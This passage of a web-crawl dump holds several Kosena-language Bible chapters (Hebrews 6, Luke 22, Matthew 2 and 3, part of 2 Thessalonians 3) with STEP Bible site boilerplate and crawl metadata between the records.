paáronaaowe súwana 15 Ááváramu áraire séna asiramái ména íma ivátuwena amuꞋmaréna ména Áánútumo simáímo tarúmakainteniꞋa uráiye. 16 Yútaa-kwaasi tikáꞋó máráamba maará kwéowe. évakarawai mirá ónaumnemo sembó ombá usáyaaitaraiwai aúrankaꞋa sésa mirá ónaumpo ímo mirámó onanamó éna sáwí-meyamba simíníye kwésewe. mirámó sésamo ombá óꞋowi óꞋon-aimba íma mimpímbá sembá maará sésa kemó senteníꞋa kwéowe sénááowe. 17 miráumai Áánútu kaweꞋá umátinkaniwaiyavena imáyáa éna séna mirá ónaumne simái tarúmakaimba póna Áánútu séna kwaási kentávésa sésa siráintemba íma éna óꞋoniꞋa íníye seváímpoꞋa amáparawai usáyaaitaraundawai éꞋa kesúrankaꞋa séꞋa mirá ónaumpo ímo mirámó onanamó éna sáwí-tantaaꞋa paáriniye Áánútu simái tarúmakaimba miráumai aanávó kwenaúrankaꞋa simái tarúmakaimba póna íma karáníye. mirámó siráintaveta kesáá kwenópata máyaundaya kweukáámbá aisínkaraisata minándámpáꞋá méta asiramái séta siráinteniꞋa íníye séta asiramái méta kwéamuꞋmaraumne. 19 naambó ésamo ávombo aimakáawanamo asiramáímo kwáyáintemba Áánútumo siráinteniꞋa kaweꞋá umátinkaniyemo siráin-ainko kentáá asiramásínkáísata Áánútumo kwíyómpaꞋo máyáiwaintaveta imáyáa éta amuꞋmaréta máyaumne. Ísu kentáásí aivaꞋá kwíyómpaꞋa iyéna monoꞋ-nánkómbá Áánútuna aokaꞋ-náúmpáꞋá ontamó úmakaan-ampaantama tarurúwaꞋmarena iréna kentááyávéna imáyáa éna mirá uráimba póta asiramáíya máyaumne. Méókísétekimo uráintemba kwíyómpaꞋa Ísu kentáásí aivaꞋ-mónó-káwáánákó éna mirám-báyáí maimaé kwéiyisata asiramáíya máyaundaya póꞋa ÁánútuntaveꞋa imáyáa kwéeꞋa karuwaaꞋá éꞋa íma ivátuweꞋa naaémbo ménaaombo paárinintaveꞋa amuꞋmaréꞋa máéro.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Heb.6","date":"2018-04-19T15:46:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936981.24\/warc\/CC-MAIN-20180419150012-20180419170012-00488.warc.gz","language":"kze","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000003576278687}","num_words":636,"character_repetition_ratio":0.047,"word_repetition_ratio":0.006,"special_characters_ratio":0.149,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 22\nYútási Ísuna kuntaruꞋá mairáin-kwasai.1 naaóváꞋó Áánútu Yútaa-kwaasi tíyótaasa í-tánómbá ímo intóráín-tantaakwara-pereti kwéagayon-kanaama sáwíyankaꞋa túwasa 2 mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé Ísuna ámááyu-aimba suwaná úwoi-kwaasiyavena tááꞋa kówasa íma avoraꞋá tátoranaumne siráawe.\n3 suwaná Ísuna kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasivinkewai áwíꞋa Yútási moórá-awiꞋa Isakéríóti póna Sáátáánigo kwenarumpimbá koména imáyáa amúwana 4 mono-káwáá-kwáásítópare monoꞋ-nákáꞋó kárákwirowaitopare kwéna séna túwaꞋnaa onaꞋá Ísumba tátoranaaowe súwasa 5 isésa aamoí kwéesa sésa mirámó inda-méyámbá óntanta aménaumne suwaná 6 Yútási owé séna ímo kwaásimo mépaꞋo éꞋa nóraumai Ísumba agaráátínkáanasa tátoranaao-imayaa ááimba ásámai uráiye.\ntíyótaasa í-tánómbá kauráan-kwasai.7 Yútaa-kwaasi ímo intóráin-tantaakwara-pereti kwéagayon-kanaa túntemba tíyótaasa í-tánón-kánáá sipisípi-araaꞋa tuvúꞋmái kwégauvunkaꞋa 8 Ísu Pítaante Yóninte tiꞋmaréna séna tíyótaasa í-tánómbá kogwégauviyata komandaanó súwasarai 9 mindárai sésarai náávara kogauvóyauyo suyaná 10 Ísu séna Yérúsaremu-naopaꞋa kwíyana moóráwaimo nonánámo maimaénamo kwíndawaimba kóánaaemba kwáráakaiyo. kwemó naaúmpaꞋo iyínanamo 11 naankó avowámó máyáinakai kosimámekai anóndakoma áísaa ena séna kesí kwayó-kwáásíyé náán-ayampara tíyótaasa í-tánómbá nánaumno kwésiye kosimámékaiyo. 12 kwemá avóvomayaaꞋ-nankomba anón-ayaampaꞋa agaráátinkaniye. kísuvuꞋo umándanaaon-tantaaꞋa mimpímbá kwáyáiye. amápa-tantaaꞋa arúsámarekai minkáꞋá kausínkáakaiyo súwasarai 13 mindárai isésarai Yérúsaremu-naopaꞋa kwésarai Ísumo sún-tantaaꞋa kwáyowasarai minkáꞋá tanómba mágauwankaraaiye.\nÍsu kwená kwayó-kwáásí toómbá tímakain-kwasai.14 tanómba nánááon-kanaa túwasa Ísuwe kwená aantá-kwaasiye toómbó naíváꞋá komáyówana 15 Ísu simátimena séna sáwíyankaꞋa síꞋa índaiꞋa umásinkanaaon-kanaa íma tiráinaꞋa ááéma tíyótaasa í-tánómbá keinárawate nánaumne-imayaa úmae iráunda ívéꞋa minkánáá paárimba póta nánaumne. 16 simátimeꞋa séꞋa marapáꞋá maantánómbá íma ókwaraꞋa nánaumpo Áánútu kwená kwaási kwégawaaipaꞋa maantánónkóná ááimba avoraꞋá kwáyainaꞋa nánaumne séna 17 ándá-aran-dombo kwáyon-anaveumba maisoréna ÁánútumpaꞋa súwi séna maimái moórá-mora-umai naaró. 18 simátimeꞋa séꞋa ándá-aran-domba íma nánaumpo Áánútu kwená kwaási kwégawaaipaꞋa méꞋa ókwaraꞋa nánaumne séna 19 péréti maisoréna ÁánútumpaꞋa súwi séna topámbai tímatuwena séna mindá kesúman-ivo keinárawataveꞋa ísámai kesúma tuwánaumne. miráumai kentávéꞋa imáyáa kwéeꞋa námae íyóro súwasa 20 toómbá násúwówana ándá-aran-dombo kwáyon-anaveumba maisoréna pérétimo timúntemba miráumai ándá-aran-domba tiména séna mindá kesí naaemán-iye kesí naaemá keinárawatavena kumínímba póna Áánútu séna kesé tarúmai máyáawe séna mináúná-áímbá simái tarúmakaisaꞋa miráumai kentávéꞋa imáyáa kwéeꞋa námae íyóro.\n21 kembó namuro-kwáásíráꞋó agaráátinkaniwai keséya ména toómbá kwénaiye. 22 naaóváꞋá Áánútu séna kwaási úrandako puwíníye siráintemba póꞋa púwónana namuro-kwáásímó agaráátinkaniwai sáwí-meyamba mayáníye Ísu súwasa 23 kwená kwayó-kwáásí keáímbá sésa nááwa mirá ínísana siyó siráawe.\naiva-kwáásítí kwaasái.24 Ísuna kwayó-kwáásí keáín-keaimba sésa kentáávínkémbá nááwa aiva-kwáásí-íꞋa íníyo kwésuwana 25 Ísu séna marapár-ánón-kwáásíyómbá usáyaaitamai asirayán-áímbá simáti simati kwéuwasa kwenkóyai kwentáyaiꞋa ésa sésa kentáásí anón-kwaasi kaweꞋá kwéowe siráawe. 26 keinárawaꞋa miráumaimo anón-kwaasimo ontembá íma mirá oró. keinárawapinkemba anómba ménae síyawai amáparawaiti mayáí túwaꞋnaa oró. usáyaaitanae síyawai óꞋowiti kwayóꞋá márááro. 27 marapá-kwáásívínkémbó toómbó ménamo kwénaiwai anón-kwaasin-ivo kísuvuꞋo kwéumamiwai sáwíyan-kwaasi imbánivo kemá kentí anóndako íma mirá éꞋa kentí kwayóꞋnákááníꞋa kwéune.\n28 mirá únaꞋa kembó sáwíꞋo umásínkáankaꞋa kesé méꞋa íma síyukaawe. 29 kesivo kentávéna séna kwaási kawááuwo siráintemba keinárawataveꞋa mirán-áímbá simátimenaumne. 30 kwaási kawáá ondaráꞋá méꞋa toómbá kwéneꞋa kawáá ondaráꞋá méꞋa Ísareri áánimbaaꞋa sísamaivakemba kaeꞋá kumbaimái-aanimbaati minándárákén-kwáásí táái iséꞋa taaínkaaꞋa ónááowe Ísu siráiye.\nPítaa ánaaemba umásinkaniye siráin-kwasai.31 Ísu Sáímonimba arumbá umánkena séna Sáímoniyo isaaó. owáímó toꞋmáímo tuvimpí owanamó arúꞋó marapá kúmísasamo anónkaꞋa mósá máyáantemba kawe-tántááꞋá mósá maéꞋa sáwí-yantaaꞋa úwoi kwáyaindayavena Sáátáánigo tísaa umai isánáe sínaꞋa 32 mindáyaveꞋa ÁánútumpaꞋa námúnaa séꞋa kesémo aráápamai máyaanda siyuwáanavo séꞋa námúnaa siráumne. emá siyuwé koyauweré kesí kwaási asiramátinkaao Ísu súwana 33 Pítaa séna Ísóigoo ándávaꞋo áíꞋmaesamo kwíyaꞋo éꞋa kesé kóyauye. tuvuwíyamo puwínaꞋo éꞋa kesé puwóyauye Pítaa súwana 34 Ísu séna Pítaao simámeꞋa séꞋa ívéꞋa kokórigo íma áái siráindaraꞋa emá kaumboráꞋá kentáváí se íma awánáúnda-kwaasiye síníyone Ísu Pítaantavena siráiye.\n35 Ísu simásuwena kwená kwayó-kwáásíyávéna séna óntambo inaainaaimó sií-únámbá íma maimaéꞋa toón-únámbá íma maimaéꞋa kwéꞋa tísamai ánáamba íma maimaéꞋa koró mináímbá ááéma séꞋa tiꞋmákaunda moórá-yantaataveꞋa aáváán-kuráinaꞋiyo súwasa miwí sésa ímaniye suwaná 36 Ísu séna ívéꞋa óntan-unamba makáiyawai minúnámbá maimaésa koró. toón-únámbá makáiyawai minúnámbá maimaésa koró. taánasatama íma makáiyawai miwítí paákákén-únánkwátói óꞋowima timésa óntamba mairésa taánasatama meéyán-uresa koró. 37 simátimeꞋa séꞋa naaóváꞋá Áánútun-aai aúváí-kwandaaivimba Áísáya agaimaréna séna eráíꞋmaesa sáwíꞋa uráan-kwaasi ermépaꞋa móankaraawe\nagaimaréna siráimba kentávéna siráimba póna paáriniye Ísu súwasa 38 kwená kwayó-kwáásí sésa Ísóigoo kae-tánasatama makáumne suwaná kwemó sún-ainkona ááimba íma ísóntavena séna áꞋaniye Ísu siráiye.\nÍsu KétésémanivaꞋa siráin-kwasai.39 Ísu simásuwena máápaꞋa kuména Óríve-omapaꞋa umaéꞋmae kwéuntemba iyúwasa kwená kwayó-kwáásí ánaaemba kwaꞋmaésa 40 íyúwana Ísu simátimena séna Sáátáánigo tísaa umai isánáe-aimba kentópaꞋa síyáváínivo ÁánúmpaꞋa námúnaa seró séna 41 tiyuwéna egwaaꞋá kwéna Áánútu anóndaꞋan-iye séna maraꞋá kumbaéna námúnaavinkemba 42 séna kesivoó embó ankáinamo e maanúmbáí-yántááꞋó kesópaꞋo tínímba maisiyuwéma ánivo kesí imáyáa íma kwárénaꞋa ená imáyáa kwáráano súwana 43 Áánútuna kwayóꞋnáꞋá kwíyómpakewai paáréna asiramánkarowana 44 arunkó anón-umbai tówana ÁánútumpaꞋa námúnaa asiramái kwésuwana umisimá naaeráámbá marapáꞋá úmae kumúwana 45 námúnaa simásuwena usásinena kwená kwayó-kwáásíráútópaꞋa téna tayuwánómba tirunkó umbaí tówasa tuún-kwaigurówana 46 tayúsena tasimátimena séna tuúmó kwáyáamba usásineꞋa námúnaa seró. Sáátáánigo tísaa umai isánáe-aimba kentópaꞋa síyáváínivo ÁánútumpaꞋa námúnaa seró Ísu siráiye.\nÍsumba tátokaan-kwasai.47 Ísu mináímbá kwésuwana sáwíva-kwaasi kwétuwana Ísuna kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasivinkemba moóráwai áwíꞋa Yútási kwemá misáwívá-kwáásívímbá aivaꞋá téna Ísumba paruvará umánkaindayavena Ísuna egwaaꞋá túwana 48 kampakómbá kwéuntavena Ísu séna Yútásiyo kemá kwaási úrandakomba kesí namuro-kwáásíráꞋó agaráátínkéndayavai paruvará kwéumasinkaane súwasa 49 Ísuwe máyówai moórá-yantaaꞋo paárinin-imayaa ésa sésa Ísóigoo taánasataneiya karánaumno suwaná 50 Ísuna kwayó-kwáásívínkémbá moóráwai taánasata maimaéna aivaꞋ-mónó-káwáánákóná kwayó-kwáásígón-ááꞋa agáúsuwowana 51 Ísu étuwaao séna minkwáásígón-ááꞋa maimái kaweꞋá umánkaraiye.\n52 kaweꞋá umánkowasa mono-káwáá-kwáásíyé monoꞋ-nánká-káwáá-kwáásíyé anón-kwaasiye Ísumba tátoraiyanesa tamáyówana Ísu simátimena séna kentávéꞋa umóyán-kwáásímán-iye séꞋa póꞋa taánasatagwara ánáyatankwaraꞋa maimaéꞋa kembá tátoranae séꞋa kwétewe. 53 sáwíva-tawai anóm-bonoꞋ-naumpaꞋa kesé máyaundaraꞋa íma kembá tátokaawe. ívéꞋa kentí kanaamá tisaꞋá tunínkóná asirayánkwáráꞋá méꞋa kembá tátoranaaowe Ísu siráiye.\nPítaa íma awánáúnda-kwaasiye siráin-kwasai.54 súwasa Ísumba tátoresa áíꞋmaesa aivaꞋ-mónó-káwáánákóná naaúmpaꞋa móankowana Pítaa tínaaemba nénkaꞋa teémáyomba 55 mindánkóná naamaúvaꞋa iramá agaimarésa máyówana Pítaa miwísé maraꞋá tamáyowana 56 iramá kaweꞋá umái kwégowana moórá-kwayor-arasigo téna Pítaamba takarákéna séna minkwáásígó kwesé máíwain-iye súwana 57 Pítaa séna ímanivo kemá íma awánáúnda-kwaasiman-iye súwana 58 sáwíyankaꞋa moóráwai Pítaamba taawánéna séna kwená kwaásivinkendaꞋa óne súwana Pítaa séna kemá ímaniye súwana 59 sáwíyankaꞋa moóráwai Pítaantavena asiramái séna áraiꞋa súne. KárírivakendaꞋa póna kwená kwayó-kwáásívínkéndáꞋán-iye súwana 60 Pítaa séna emó sénda-aimba íma kwéisaumne kwésuwana kokórigoma áái súwana 61 Ísóigo kwanténa Pítaamba awánówana Pítaa Ísóigo simámun-aimba áákaꞋa maréna mirá siráinkaꞋa ívéꞋo kokórigomo ááimo ímo siráindaraꞋa emá kaumboráꞋá kentáváí se íma awánáúndanaꞋan-iye síníyone siráimba mináímbá áákaꞋa maréna 62 máápaꞋa kuména ávááraumai iviꞋá taráiye.\nÍsumba kanaárááꞋa ánkaraan-kwasai.63 Pítaa iviꞋá tówasa ÍsunkaꞋa kárákwirowai kanaárááꞋa ankésa tuvuwésa 64 aúrampaꞋa ampantanéí káátamakesa kwétuvuwesa sésa esáváí se Áánútumo usásisinkaiwai úne séndawai ómpo kemá nááwa kwétuvuwuna simásimiyo kwésesa 65 óꞋon-oꞋon-aimba simái sáwíꞋa umánkaraawe.\nmonor-ánón-kwáásítópaꞋa Ísumba ánkaraan-kwasai.66 aaváúmá usónkaꞋa Yútaa-kwaasiti anón-kwaasiye mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé torupamái máyówasa Ísumba áíꞋmaesa móankowasa 67 sésa Áánútumo usásinankaiwai KáráísitiyaꞋona simásimiyo suwaná simátíménaꞋo éꞋa íma kaweꞋá umái isánááowe. 68 moórá-aimbo tísaa onaꞋó éꞋa íma simásimenaaowe. 69 kemá kwaási úrandako Áánútu asirayáwáíná ayáánúrapaꞋa asirayán-áyámpáꞋá uménaumne súwasa 70 amáparawai sésa ewá sé Áánútu ááninko úne kwéseno suwaná Ísu séna áꞋa sewé súwasa 71 miwí sésa kwesáváí siráimba póta mináíntávéta aavintá mayankéta óꞋon-aimbo simánkáamba avakáá únda póta ivátá tuwánaumne siráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.22","date":"2018-04-19T21:32:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937045.30\/warc\/CC-MAIN-20180419204415-20180419224415-00049.warc.gz","language":"kze","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000042915344238}","num_words":1187,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mátíyu 2\n1Yútiyaa-maravaken-kawaanako áwí'a Éróti máyon-kanaavimba Pétáremu-naopa'a Máríyaa Ísumba maránkarowasa némpakemba aaváúmó usópaken-kwaasi kawer-ímáyáágwárá-kwáásí teémesa Yérúsaremu-naopa'a tésa 2sésa Yútaa-kwaasira'a kárákwiyinine sénamo maránkáín-iyampoi náávara ánkaraao. aaváúmó usaipá'á méta awánáúndaya moórá-o'a paárisata awánéta séta iyámpói maránkaraimba póta awánéta kwenáwí'a mósá maránáe séta teémeta túne siráawe.\n3suwaná marará-káwáánákó Éróti mináímbá isówana arunkó sáwí'a úwasa Yérúsaremu-naopakewaigwara'a ísówana tirunkó sáwí'a úwana 4Éróti mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé tááyowasa torupamái máyówana séna Áánútu ai'maráníwaimba Káráísitimba marankánímba náávara ankáníyo súwasa 5sésa Yútiyaa-marava'a Pétáremu-naopa'a ankáníye. Áánútun-aai simátímakowai agaimaréna séna\n6Yútiyaa-marava'a Pétáremu-naopaken-kwaasiyono. Yútiyaa-marava'a kárákwiraawaivimba kentí naaópa'o kárákwiraawai íma tínaaempa'a máyáawe. kentí naaópakemba moóráwai paárurena kesí kwaási Ísareri-kwaasira'a kawe'á umái kárákwiyiniye\nagaimaréna siráiye suwaná 7Éróti iséna aaváúmó usópaken-kwaasi aúpá'á tááyowasa tuwaná tísaa ena séna nósa-tawai minó'á paárisara awánaraao súwasa simámúwana 8Éróti séna Pétáremuva'a miníyámpóí koavakáá-umai awáné'a tasimásimiya'a kesé kuré'a kwenáwí'a mósá máráano súwasa 9isésa kumbá aaváúmó usópa'o mésamo awánaraan-o'a awánowana minókómá aiva'á kwégwena miníyámpóímó máyonka'a kogwaúwasa 10ávááraumai aamoí ésa 11mindáúmpá'á iyésa anówante miníyámpóíyé tuwánésa kívairesa miníyámpóígó áwí'a mósá marésa unáámbá óin-tokésa kawe-tántáá'á kóri-ontamba óimai amésa kawer-úmúmbó ií-yántáá'á óimai amésa áséi-kwiyum-basawenkwara'a óimai ámakaawe.\n12ámatuwesa tuún-kwáúwana Áánútu kaainampá'á simátimena séna Érótimba íma kosimáméro súwasa ó'on-ampakemba kentí naaópa'a kóuraawe.\nÍsumba áí'maesarai Ísípiva'a kurááyan-kwasai.\n13kóúwana kwíyómpakemba Ísóigona kwayó'nákómbá Yósépi kaainampá'á awánówana séna Éróti miníyámpóí tuvuwíndayavena kwéavakaa-ivo usásine anówante miníyámpóíyé tí'mae Ísípi-marava'a koména'a aáno simámé'a áí'mae tiyó sénaumne súwana 14mindó'wáámbá usásinena anówante miníyámpóíyé tí'maena Ísípi-marava'a kwémena 15mivá'á komáyowana Éróti pukáiye. naaóvá'á Áánútun-aai simátímakowai sirónka'a póna mirá uráiye. kwemá agaimaréna séna Ísóigo séna\nÍsípi-maravakemba kesáánimba máyaina'a\nááyaanana koyauweráníye\nsiráiye agaimaréna sirónka'a póna mirá uráiye.\niyámpói tínkankaan-kwasai.\n16Éróti awánómba aaváúmó usópaken-kwaasi kampa'á simáuwesa kóúwana Éróti arunkó áyámba úwana aaváúmó usópaken-kwaasi simámakon-aintavaiye o'á paáruraiyemo sirón-aintavaiye imáyáa éna évakarawai ti'maréna séna Pétáremu-naor-ayampa'-naopimpa'a kaer-ímó ten-íyámpóíyé ímo kaer-ímó tarén-iyampoiye tivakáá-umai tínkantuwaaro súwasa mirá uráawe.\n17naaóvá'á Áánútun-aai simátímakowai áwí'a Yérémaya sirónka'a póna mirá uráiye. kwemá agaimaréna séna\n18Áráma-kwaasi ávááraumaimo ivi'ó taráamba ísaraawe. Áréseo aísaavutantamba uráan-kwaasi miwítí iyámpóíyavesa ivi'á taawasá iyámpóímo pukáantavesa timambá aráápamai tínkaraawasa úwoi ivi'á támae iráawe\nagaimaréna siráiye.\nÍsípivakemba tiráin-kwasai.\n19Éróti puwúmba Yósépi Ísípi-marava'a ména kwíyómpakemba Ísóigona kwayó'nákómbá kaainampá'á awánówana séna 20miníyámpóígómbá tuvuwónáe sen-kwáásí á'a púwóvo usásine anówante miníyámpóíyé tí'mae Ísareri-marava'a kwaaó súwana 21usásinena awainínkónte ááninkonte tí'maena Ísareri-marava'a kúmba 22Éróti ááninko áwí'a Ákéreasi kwemá avowáná anondá Yútiyaa-ayampa'a kawáá-máyáí kwémayowana Yósépi iséna mináyámpá'ó koménintavena inkaisúwana kaainampá'á Áánútu simámuwana Káríri-ayampa'a 23Násáreti-naopa'a tí'maena koméraiye. naaóvá'á Áánútun-aai simátímakowai sirónka'a póna mirá uráiye. kwemá Ísuntavena séna\nNásáretivaken-kwaasiye sénááowe\nagaimaréna sirónka'a póna mirá uráiye.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/vi.biblesearch.americanbible.org\/kze-KZENT\/Matt\/2\/","date":"2019-06-19T07:04:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998923.96\/warc\/CC-MAIN-20190619063711-20190619085711-00077.warc.gz","language":"kze","language_score":0.999563396,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"kze_Latn_score\": 0.9995633959770203}","num_words":385,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mátíyu 3\nYóni simátímakarain-kwasai.\nMááka 1:2-8, Árúku 3:1-18, Yóni 1:19-28\n1minkánáávímbá moóráwai áwí'a Yóni ména nombá pétinkowai póna Yútiyaa-marava'a kúmba kavóná-marava'a koména simátimena séna 2Áánútu kwená kwaási kawááimba ááimba kwéasaivo kentí sáwí-imayaa tuwé'a Áánútumpa'a teró simátíma'mae iráiye. 3naaóvá'á Yóni íma máyonka'a Áánútun-aai simátímakowai áwí'a Áísáya Yónimo paárinintavena imáyáa éna agaimaréna séna\nmoóráwai kavóná-marava'a ména aayamáírakemba séna Ísóigona aambá kwirankánááomba kwená aambá arupí íyana minámpá'á kwíno\nÁísáya agaimaréna sirónka'a póna Yóni paárúwana mináímbá paáruraiye.\n4Yóni póígo áwí'a káámeri kwená áyáú-kwatoi iréna aúwarasinei ámúranda uréna a'nóríné kwantáámíkóná aúwé mintóné su'mai kwénena 5aaí simátíma'mae iyúwasa Yérúsaremu-naopaken-kwaasiye Yútiyaa-ayampaken-kwaasiye Yóntáni-nonkona menávápákéné maanávápákén-kwáásíyé miráumai kwaási tóyo ésa 6sáwí'o uráamba paárumai avora'á simámúwana Yóni Yóntáni-nompimba nombá pétinkaraiye.\n7Yóni nombá pétinkena awánómba ámáán-kawaa-kwaasiye Sátúsi-monor-aimbo sun-kwáásíyé sáwíva'a nombó pétinkanintavesa kwenópa'a tóyo uwaná simátimena séna iyánkó póígon-araa'an-owe. Áánútu kentí sáwí-meyamba timínívo nááwa simátímísara iséra inkaiséra kwéteo. 8kentí sáwí-mayai tuwé'o Áánútumpa'o té'o é'a kawe'-máyáí máyéwa'a tuwánanaumne. 9Ááváramu kentáá síkwá'ná imbá póta Áánútuna kawe-kwáásíyá úne sé'a mirán-ímáyáá íma oró. Áánútu Ááváramu aísaavutantamba ónááowe sénaraankasi maanóntámpínkémbá kanaám-po'a kwaási aúráaro sisa'á aúráasino. Ááváramu aísaavutantamba uráundawai póta kawe-kwáásíyá úne sé'a mirán-ímáyáá íma oró. 10íma kawer-árámbá íyain-taima ááimpimba kwéayaisuwesa iravímbó agaisúwáantemba Áánútu miráumai kentí sáwí-meyamba timíníye Yóni siráiye.\n11Yóni simásuwena séna kentí sáwí-imayaa tuwé'a Áánútumpa'a tewáí nombá kwévetinkaundanivo kesínaaemba tíníwai Áánútun-amankomba ai'maráínana kuména keinárawapimba anómba umátinkaniye. iramó agáyáantemba íníye. kwemá anóndakoma kembá usáyaaitaraimba pó'a kwemó aaimó síndavimba kemá aaimá sendamá uwóví'a ónaumne. 12aawinkwínaumo sípétivimbo mósá makésamo iyaavumásúwááwanamo anómbo marapá'ó kúmísanamo ásima úndáomo tútúwaisasamo kaíkai'o ínín-iravimbo kwiyúmaimo agaisuwésamo anómbo naaúmpa'o mósá máráantemba kwaási miráráámbá íníye Yóni siráiye.\nÍsumba nombá pérankarain-kwasai.\nMááka 1:9-11, Árúku 3:21-22\n13minkánáá Ísu Káríri-ayampakemba Yóntáni-nompa'a téna Yóni nombá pésinkainkwae séna túwana 14Yóni séna ímanivo emó nombó pésinkaniyonda kanaán-ivo kentáváí se nombá pésinkaao kwésene súwana 15Ísu séna ivátuke súndantemba mirá uwo. mirámó ékaimo ékai Áánútu siráini'a óyauye súwana owé séna 16nombá pérankowana nompínkémbá usásinowana sokón-tawaai taaínkaar-úwana Yóni awánómba Áánútun-amanko mááiraamba úmaena Ísu ane'á kumbáyowana 17aaigówé su'mai kwíyómpakemba séna maawámá kesáánimba isa'á kwená imáyáa kwée'a ávááraumai aamoí umánkaumne siráiye.","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/ko.biblesearch.americanbible.org\/kze-KZENT\/Matt\/3\/","date":"2019-08-23T02:37:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317817.76\/warc\/CC-MAIN-20190823020039-20190823042039-00205.warc.gz","language":"kze","language_score":0.9998929501,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9998929500579834}","num_words":317,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1kentáásí kwaásiyono. moórá-aimba simátimenaumpo ísáaro. kentáá súwa'naa umai Áánútumpa'a námúnaa seró. Ísóigon-aai simátíménana amápar-ayampa'a avekáámbá kóyáwé ínasa mináímbá tátoranaaontave'a Áánútumpa'a námúnaa seró. keinárawapimba Ísóigon-aaigo á'a mirá umái tátokaiye.\n2moórá-yantaatave'a Áánútumpa'a námúnaa seró. évakarawai Áánútun-aaiyavesa áraire sewasá évakarawai kamparé kwésesa miwívínkémbá sáwí-kwaasi sáwí-mayai kwémayaawai sínkamovainivo kentáá súwa'naa umai Áánútumpa'a námúnaa seró.\n3Sáátáánigo tátoraivo séna Ísóigo kwemó sintembó mirámó iwáí póna kárákwimai asiramátinkaniye.\n4keinárawataveta asiramái séta Ísóigoe tarúmai máyáamba pó'a simátimunda-ainta taagwiyavé'a mirá úmae'a iyónááowe kwésune.\n5Ísóigo imáyáa timína'a sé'a Áánútu arumbá kwésimiye sé'a ménaaontaveta námúnaaya kwésune. Ísu Káráísiti imáyáa timína'a kwemó asiramáímo máyáísanamo ímo ávómo kaintembá kemá mirá ónááontaveta námúnaaya kwésune.\n6kentáásí kwaásiyono. Ísoigo Ísu Káráísitina mayáíyá kwémayaundayaveta asiramái simátimeta séta keinárawapinkemba évakarawai Ísu Káráísitin-aaiyavesa áraire siráambanivo simátímakaunda-ainta íma kwarésa kavóná-kwaasiraamba umái máyáawata séta tiyuwé'a miwísé íma máéro kwésune.\n7keinárawate maéwándara'a kavóná-kwaasiraamba íma umái maéwána'a suwánaraamba kesáámó uráundantemba mirán-oro.\n8kentí toómbá íma úwoi kwéneta meéyán-umasuweta kwéneta no'wáámba aaváyaara'a enónka'a siyáántán-kwimai mayáíyá kwémaeta mimbáyáívínkén-tómbá mairáumne. keinárawa'a mase'á umátinkaunavo séta toómbá síméro íma súndaya mayáívínkén-óntándéí mairáumne.\n9Áánútuna áséi-kwasai kosimátímakaunda-anonda tísaa umáímo toómbó mairékaiya kawe'á éta úsina íma tísaa úndaya mairáumne. mayáímó asiramáímo mayááwándaya suwáné'a keinárawakwara'a mirá ónááontaveta kosimátímakaunda-anonda íya úwoi mairáumpo 